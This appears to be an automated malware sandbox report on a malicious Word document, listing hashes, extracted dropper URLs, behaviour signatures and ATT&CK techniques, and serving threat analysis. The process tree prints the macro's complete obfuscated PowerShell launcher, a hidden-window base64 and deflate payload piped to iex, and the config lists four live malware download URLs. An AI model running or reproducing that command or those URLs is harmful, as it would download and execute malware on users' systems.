1f4fca46fee974ec0c313f93763cc9d94fc476f67716657e6e0608130dd199a1

General

Target

b2750ba41bda0e159d116bdd0e9f39ef_JaffaCakes118.doc
Size

131KB
MD5

b2750ba41bda0e159d116bdd0e9f39ef
SHA1

cd5175420a514c8bf0cc0f8834e2ef052e6ba434
SHA256

1f4fca46fee974ec0c313f93763cc9d94fc476f67716657e6e0608130dd199a1
SHA512

a0aa15aa2ed48c737fc3f2f0018448636bf142fadb5f56221f1cf9d8a42554f8bf5723d3c597290761862951a6808ae1be2b56c343b72b3b270b7a6e4c8433e1
SSDEEP

1536:NZ0rgMc0qg4Kkd8j6IjM+ahv0H/ovL+b4GJog6unhEXPx04IsC:Yrgzg4KkjoS2wvLuJyuMx0Ds

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://mnapoli.org/iq2V1CQ/

exe.dropper

http://redfern.it/mfa6Sg3/

exe.dropper

http://hitech-control.com/KYGsjZ/

exe.dropper

http://podpea.co.uk/2DLIE6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4172	4156	Powershell.exe	81

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4172	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4156	WINWORD.EXE
4156	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4172	Powershell.exe
4172	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4172	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4156	WINWORD.EXE
4156	WINWORD.EXE
4156	WINWORD.EXE
4156	WINWORD.EXE
4156	WINWORD.EXE
4156	WINWORD.EXE
4156	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4156 wrote to memory of 4172	4156	WINWORD.EXE	86
PID 4156 wrote to memory of 4172	4156	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b2750ba41bda0e159d116bdd0e9f39ef_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
  Powershell -WinDowsTyle hidden ( NeW-ObJECt Io.StreamReaDEr( (NeW-ObJECt SySTEm.Io.cOmPRessIon.DeFLATEstReAm( [SysteM.Io.MeMoRystrEAM][CoNVeRt]::FROMBasE64sTriNG('bVZtb9pIEP5+0v0HqzoFIxLj9bsTVWohtHWvxzUhvSZFfHCICSTBdo2btKH893tmd8dw9BRtmJ3dnZ2deeYZm+aLtfA3a9fZrEP8QBSbtQ3JxQg263izdjD1MfWwgnXHg4jhQh1hO076GA6GSzswsOrQASw7OOHRKaziAo/sYbgYHrYI/AraTqewLmjgWo8Gzni4RJBV+sVwoHfILO2j28lN/LqwgSV38+JoZrQCtVG0Dls4jaWQriI7woGuvD9Myvu0LB4WFqYfR/Pir2zs2pMO1JcYbWhfGne9RO3sGFq4mWWVFs9OtXDc7WI3+Sz8SAZIUIQC9WZBToa0SK8RNiTfI8HdfI3vjmZkVBtKXp/2L9t6krPgdl9pyZoWy+6fV3p2msOFvIORHSV1prXzulnu/KqiZ5mQ8DCtu65otW1Vg/Ih7Q9o8X3vghbHo7paDN9OxtN36fkkDrZ7TKWKREcJQaQFIez23jk3/o9tP139j22nbWRfzo0DwzTgT7l6VywHY0dMOphRBn1fYYPwF1EibV8hNaYJISn0NCIITY6ElMSGq4BGWBSEYkEwIpCGtkKlINwHGDElhTSho4sBBiJbA1L+s2EpINs2DARkn6AvyDshYSpnVA20SQLClqUkqHgYrORYCHMhgdEPVCkRogmm0QbvVbk60hn6pwHESYPHfJXepCvGzXVfC6awtcSQaUBqvDQsE1jRU4ZLMgi6WpwVWhj9WPHppCRkq2IUVK0UvlgVnCC/Q4l2LMSBIgAhX0IvJ86gqMm0EJGEsWIRIcvc9lR57jmUQXXMzzlj4Bbv+eFbz9Qc20lQhrqLr1ofXxQ7O9sNBrGPQifXqBZM1CCyoMlM5o6c92QCocGemzcJKuKBHbz6xJ6m7N0HJWwfs9logZKJvzQY3WrNHefsgU/v/eaZruqnJncJvRKBDiSUELzIV5xMfEZUE8sQSwT6mkklyRkNbxmLnMVeMuKrrIYKQQ1Go+Vrr64+Wc9DPXvLoFgttDC1nnG+Us880cpFelsV30pJVZzG9iHb7tYVR637aq4l0T+DgV7yehtA63NG6WnSvbq9eWLG2nLXvK7V5Toh38+aRADFdYW0LTCGt89SN2tqoqHGQ8NhwOhfhs2QFQfmXubqbGkN93RJ/sgHp0VeV4Xyi7eVWYqZLAbZgWRbiKnUZZcD6IhrYgm3ievtohUbUTJBoHpxQMmOVBONqOnJnidsSRtUn4FEr6y/UPVbQbUaE7CxMyKKIQDRDqJBSZCe6sgRmaKJoO+BWPZbIkdXNeKISFIyJkERRmIqEh8XFxWj+zu3GsaIzIgsNN0hHEf3ipCbhh/u9Qxd0vfJ6LQvUcCsd83hbmqlgbSOfX22A2RDNvAsf4QNigTVBsS6TJq+zRAsv3FR5/UyY16NGMB8L6zXzDxZ3SjZm6ej4voum+7gazbVwlL/9ttcKEzv8Q5mpStMDDOomtb/PIxNPCZdQcn3PSxUkTQPcsRu1CVUp/zC35KGkfbrfF1XP9ZNa+lfGi85iVODuxGHFG/7Xcuui4akzKXMDT3KWfvkehvhJefI5tbUu/jMKr6nNpsgrnADaAvuDEfsEib80aOoC7dyhMtjppn7Ltcyf6GBRlmTpdO5uWWO1Y2VM6FzvP+mGgVvWYwF8oACcF8sOWlwzmcC+wIGq2vc3y0LRgx7kNcn+1it0px31U3GFnWXkYHPuLPtLZ1tqwaMD6hz8zx/0B9o9OaTzTStp/M1hYRaM9V1C+3ufFB+SKcDsyW/oMar+jzJUV79eVpN3GBnHd9dOPqztaOSKNk7Eu+so2X+su61jZ8WPt/+GAwfj/vFcvRx0B97h8I/dPzJ0V2xyFut9r8=') , [Io.coMpREssIOn.comPREssiOnModE]::DeCOmPReSS)),[SYsTEM.TEXT.enCOdiNg]::aSCii)).ReADtoEnd( )|iEx
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xll3dhif.r1h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4156-10-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-89-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-4-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-3-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-5-0x00007FFB7356D000-0x00007FFB7356E000-memory.dmp

Filesize
4KB

Download
memory/4156-6-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-9-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-8-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-7-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-12-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-14-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-15-0x00007FFB30E60000-0x00007FFB30E70000-memory.dmp

Filesize
64KB

Download
memory/4156-1-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-11-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-13-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-16-0x00007FFB30E60000-0x00007FFB30E70000-memory.dmp

Filesize
64KB

Download
memory/4156-42-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-47-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-2-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-90-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-65-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-66-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-87-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-88-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-0-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4156-86-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

Filesize
64KB

Download
memory/4172-54-0x00000236FA460000-0x00000236FA482000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads